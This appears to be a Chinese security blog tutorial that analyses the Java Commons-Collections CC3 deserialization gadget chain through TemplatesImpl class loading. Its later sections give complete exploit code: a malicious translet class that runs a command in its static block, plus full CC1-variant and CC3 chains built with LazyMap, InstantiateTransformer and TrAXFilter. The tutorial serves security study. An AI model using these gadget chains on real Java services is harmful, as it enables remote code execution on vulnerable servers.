0x01 写在前面 CC3链与前面的CC1链与CC6链的区别之处是非常大的。CC1链和CC6链是通过Runtime.exec()进行命令执行 。但毕竟是命令执行的危险方法,绝大多数时候服务器的代码当中的黑名单会选择禁用Runtime
而CC3链中,则不再依赖Runtime,而是通过动态加载类加载机制来实现自动执行恶意类代码
因此,你有必要先了解一下Java类的动态加载
0x02 TemplatesImpl 解析 简单回顾
利用 ClassLoader#defineClass 直接加载字节码,不管是加载远程 class 文件,还是本地的 class 或 jar 文件,Java 都经历的是下面这三个方法调用
loadClass() 的作用是从已加载的类、父加载器位置寻找类(即双亲委派机制),在前面没有找到的情况下,调用当前ClassLoader的findClass()方法;
findClass() 根据URL指定的方式来加载类的字节码,其中会调用defineClass();
1 2 3 protected Class<?> findClass(String name) throws ClassNotFoundException { throw new ClassNotFoundException (name); }
defineClass 的作用是处理前面传入的字节码,将其处理成真正的 Java 类
1 2 3 4 5 protected final Class<?> defineClass(String name, byte [] b, int off, int len) throws ClassFormatError { return defineClass(name, b, off, len, null ); }
由此可见,真正核心的部分其实是 defineClass ,他决定了如何将一段字节流转变成一个Java类,Java
默认的 ClassLoader#defineClass 是一个 native 方法,逻辑在 JVM 的C语言代码中
defineClass()只进行类加载而不会进行执行类,执行需要先进行 newInstance() 的实例化
defineClass()作用域为protected,我们需要寻找public类方便调用,find Usages我们找到了TemplatesImpl类
其中的defineClass()方法
1 2 3 Class defineClass (final byte [] b) { return defineClass(null , b, 0 , b.length); }
查看调用情况,其被defineTransletClasses()内部调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 private void defineTransletClasses () throws TransformerConfigurationException { if (_bytecodes == null ) { ErrorMsg err = new ErrorMsg (ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException (err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction () { public Object run () { return new TransletClassLoader (ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class [classCount]; if (classCount > 1 ) { _auxClasses = new HashMap <>(); } for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0 ) { ErrorMsg err= new ErrorMsg (ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException (err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException (err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } }
作用域为private,继续查看调用情况,发现有三处调用
其中在getTransletInstance(),发现了实例化方法
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance()这就是关键切入点,如果能走完这个函数那么就能动态执行代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this ); translet.setServicesMechnism(_useServicesMechanism); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null ) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (InstantiationException e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } catch (IllegalAccessException e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } }
继续跟进getTransletInstance(),终于找到了public作用域方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public synchronized Transformer newTransformer () throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl (getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null ) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true ); } return transformer; }
并且TemplatesImpl这个类继承Serializable接口,方便我们控制其属性
1 public final class TemplatesImpl implements Templates , Serializable{...}
0x03 TemplatesImpl 利用 在分析过程我们说到只要走过 getTransletInstance() 方法即可,因为这个方法内调用了 newInstance() 方法
1 2 TemplatesImpl templates = new TemplatesImpl ();templates.newTransformer();
这样就完成了getTransletInstance()的触发,但是我们在寻找这个方法时注意到是其实走完这条链有很多限制的,我们重新跟进newTransformer()就能发现
满足_name不能为空否则直接返回
满足_class为空才能进入defineTransletClasses()
跟进defineTransletClasses()
满足_bytecodes不为空,否则抛出异常
1 _tfactory`也需要赋值,否则无法调用`_tfactory()
都是TemplatesImpl类的属性,直接通过反射修改
1 Class tc = TemplatesImpl.class;
满足_class为空,来看看TemplatesImpl的构造函数并没有给_class赋值,不需要我们主动操作
满足_name不能为空,类型为String
1 2 3 Field nameField = tc.getDeclaredField("_name" );nameField.setAccessible(true ); nameField.set(templates, "aaa" );
满足_bytecodes不为空,类型为byte[][]
来看看_bytecodes的作用,实际上时循环调用_bytecodes数组中每一组的字节码通过loader.defineClass()转为 Class 对象
这一步在进行loader.defineClass()会触发类的静态初始化块,因此我们需要把恶意的字节码存入_bytecodes
1 2 3 4 5 Field bytecodesField = tc.getDeclaredField("_bytecodes" );bytecodesField.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("D://Task/test.class" ));byte [][] codes = {code};bytecodesField.set(templates, codes);
同时编写恶意类,在类初始化时触发静态初始化块,编译后将生成的.class文件放到对应路径下
1 2 3 4 5 6 7 8 9 10 11 package org.example; public class test { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e){ e.printStackTrace(); } } }
_tfactory
先看_tfactory的数据类型,关键字为transient,这就导致了这个变量在序列化之后无法被访问
1 private transient TransformerFactoryImpl _tfactory = null ;
但是我们的要求比较低,只需要在其序列化之前使其不为null即可,在readObject()的最后一行中我们找到了初始化定义
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 private void readObject (ObjectInputStream is) throws IOException, ClassNotFoundException { SecurityManager security = System.getSecurityManager(); if (security != null ){ String temp = SecuritySupport.getSystemProperty(DESERIALIZE_TRANSLET); if (temp == null || !(temp.length()==0 || temp.equalsIgnoreCase("true" ))) { ErrorMsg err = new ErrorMsg (ErrorMsg.DESERIALIZE_TRANSLET_ERR); throw new UnsupportedOperationException (err.toString()); } } ObjectInputStream.GetField gf = is.readFields(); _name = (String)gf.get("_name" , null ); _bytecodes = (byte [][])gf.get("_bytecodes" , null ); _class = (Class[])gf.get("_class" , null ); _transletIndex = gf.get("_transletIndex" , -1 ); _outputProperties = (Properties)gf.get("_outputProperties" , null ); _indentNumber = gf.get("_indentNumber" , 0 ); if (is.readBoolean()) { _uriResolver = (URIResolver) is.readObject(); } _tfactory = new TransformerFactoryImpl (); }
依旧反射调用/.
1 2 3 Field tfactoryField = tc.getDeclaredField("_tfactory" );tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ());
完整的exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 TemplatesImpl templates = new TemplatesImpl ();Class tc = TemplatesImpl.class;Field nameField = tc.getDeclaredField("_name" );nameField.setAccessible(true ); nameField.set(templates, "aaa" ); Field bytecodesField = tc.getDeclaredField("_bytecodes" );bytecodesField.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("D://Task/test.class" ));byte [][] codes = {code};bytecodesField.set(templates, codes); Field tfactoryField = tc.getDeclaredField("_tfactory" );tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ()); templates.newTransformer();
0x04 解决报错 尝试运行exp,抛出了空指针错误
报错提示出现在TemplatesImpl的422行,我们在上面打上断点调试看看问题
首先_class[i],成功获取_bytecodes[i]字节码,superClass获取其父类
判断父类名是否为ABSTRACT_TRANSLET,因为我们没有继承ABSTRACT_TRANSLET因此进入到else代码块
可以看到_auxClasses旁有了报错NullPointException
接下来我们有两个选择,一是给_auxClasses赋值,二是满足test.class继承ABSTRACT_TRANSLET,我们选择后者
为什么,我们看到下面的if判断,我在上图的箭头所指,如果没有满足test.class的父类为ABSTRACT_TRANSLET,就不会进入if代码块_transletIndex的值仍然为-1,导致抛出异常
1 2 3 4 if (_transletIndex < 0 ) { ErrorMsg err= new ErrorMsg (ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException (err.toString()); }
并且AbstractTranslet是一个抽象类,我们需要实现其抽象方法,最终的test.class如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 package org.example;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class test1 extends AbstractTranslet { public test1 () { } public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { e.printStackTrace(); } } }
命令执行成功
0x05 CC1链的TemplatesImpl实现 前面的链子不变,只改变最后的命令执行方式,通过动态加载类实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 TemplatesImpl templates = new TemplatesImpl (); Class tc = TemplatesImpl.class; Field nameField = tc.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates, "aaa" ); Field bytecodesField = tc.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("D://Task/test1.class" )); byte [][] codes = {code}; bytecodesField.set(templates, codes); Field tfactoryField = tc.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" , null , null ) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap hashMap = new HashMap (); Map lazyMap = LazyMap.decorate(hashMap,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor AIHConstructor = c.getDeclaredConstructor(Class.class, Map.class); AIHConstructor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) AIHConstructor.newInstance(Target.class, lazyMap); Map proxy = (Map) Proxy.newProxyInstance(invocationHandler.getClass().getClassLoader(), new Class []{Map.class}, invocationHandler); invocationHandler = (InvocationHandler) AIHConstructor.newInstance(Target.class, proxy); serialize(invocationHandler); unserialize("ser.bin" );
0x06 CC6链解析 因为只需要调用 TemplatesImpl 类的 newTransformer() 方法,便可以进行命令执行,所以我们去到 newTransformer() 方法下,find usages找到了TrAXFilter类
进入TrAXFilter类,虽然没有继承Serializable接口,但是在它的构造方法中实现newTransformer(),构造函数的参数也方便控制,所以我们只要执行这个类的构造函数即可命令执行
CC3 的作者没有调用 InvokerTransformer,而是调用了一个新的类 InstantiateTransformer。
InstantiateTransformer 这个类是用来初始化 Transformer 的,我们去找 InstantiateTransformer 类下的 transform()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public Object transform (Object input ) { try { if (input instanceof Class == false ) { throw new FunctorException ( "InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass ().getName ())); } Constructor con = ((Class ) input).getConstructor (iParamTypes); return con.newInstance (iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException ("InstantiateTransformer: The constructor must exist and be public " ); } catch (InstantiationException ex) { throw new FunctorException ("InstantiateTransformer: InstantiationException" , ex); } catch (IllegalAccessException ex) { throw new FunctorException ("InstantiateTransformer: Constructor must be public" , ex); } catch (InvocationTargetException ex) { throw new FunctorException ("InstantiateTransformer: Constructor threw an exception" , ex); } }
方法首先检查了input是否为Class类型,然后获取构造器con再进行newInstance(),这个方法完美符合我们的需求,用以下代码来测试一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 TemplatesImpl templates = new TemplatesImpl ();Class tc = TemplatesImpl.class;Field nameField = tc.getDeclaredField("_name" );nameField.setAccessible(true ); nameField.set(templates, "aaa" ); Field bytecodesField = tc.getDeclaredField("_bytecodes" );bytecodesField.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("D://Task/test1.class" ));byte [][] codes = {code};bytecodesField.set(templates, codes); Field tfactoryField = tc.getDeclaredField("_tfactory" );tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class},new Object []{templates});instantiateTransformer.transform(TrAXFilter.class);
命令执行成功,最后还是利用ChainedTransformer+ConstantTransformer()控制setValue()传参构造最终exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 TemplatesImpl templates = new TemplatesImpl (); Class tc = TemplatesImpl.class; Field nameField = tc.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates, "aaa" ); Field bytecodesField = tc.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("D://Task/test1.class" )); byte [][] codes = {code}; bytecodesField.set(templates, codes); Field tfactoryField = tc.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}); templates.newTransformer(); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap hashMap = new HashMap (); Map lazyMap = LazyMap.decorate(hashMap,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor AIHConstructor = c.getDeclaredConstructor(Class.class, Map.class); AIHConstructor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) AIHConstructor.newInstance(Target.class, lazyMap); Map proxy = (Map) Proxy.newProxyInstance(invocationHandler.getClass().getClassLoader(), new Class []{Map.class}, invocationHandler); invocationHandler = (InvocationHandler) AIHConstructor.newInstance(Target.class, proxy); serialize(invocationHandler); unserialize("ser.bin" );
0x07 小结 因为几个链子最后都能通过TemplatesImpl实现命令执行,就放在一起总结了
参考
https://drun1baby.top/2022/06/20/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8704-CC3%E9%93%BE/ https://drun1baby.github.io/2022/06/03/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9F%BA%E7%A1%80%E7%AF%87-05-%E7%B1%BB%E7%9A%84%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD/ https://www.bilibili.com/video/BV1Zf4y1F74K/?spm_id_from=333.1007.top_right_bar_window_history.content.click&vd_source=52eba7627ed3e9842c78702b92c1bba9